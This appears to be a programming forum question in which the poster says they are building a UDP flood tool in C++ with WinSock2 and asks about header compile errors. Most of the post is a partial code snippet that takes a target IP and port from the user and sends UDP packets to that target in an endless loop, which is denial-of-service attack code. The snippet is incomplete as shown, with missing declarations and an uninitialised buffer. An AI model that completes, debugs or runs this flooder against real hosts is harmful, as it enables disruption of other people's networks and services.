I'm trying to make a UDP Flood using WinSock2.h in c++ but I'm getting over 70 errors and 17 warnings on just WinSock2.h and all the errors are redefinitions, syntax errors from ws2def.h, and "different linkages". Am I doing something wrong or is this a problem with WinSock2? If it is of any use I am using 64 bit Windows 10, Visual Studio 2015
#include "stdafx.h"
#include <WinSock2.h>
#include <windows.h>
#include <fstream>
#include <time.h>
#include "wtypes.h"
#include "Functions.h"
#pragma comment(lib, "ws2_32.lib")
//Get IP
cin.getline(TargetIP, 17);
//Get IP
cout << "Enter the Port: ";
cin >> nPort;
cout << endl;
//Initialize WinSock 2.2
WSAStartup(MAKEWORD(2, 2), &wsaData);
//Create our UDP Socket
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
//Setup the target address
targetAddr.sin_family = AF_INET;
targetAddr.sin_port = htons(nPort);
targetAddr.sin_addr.s_addr = inet_addr(TargetIP);
//Get input from user
cout << "Please specify the buffer size:";
cin >> bufferSize;
//Create our buffer
char * buffer = new char[bufferSize];
while(true){
//send the buffer to target
sendto(s, buffer, strlen(buffer), NULL, (sockaddr *)&targetAddr, sizeof(targetAddr));
}
//Close Socket
closesocket(s);
//Cleanup WSA
WSACleanup();
//Cleanup our buffer (prevent memory leak)
delete[]buffer;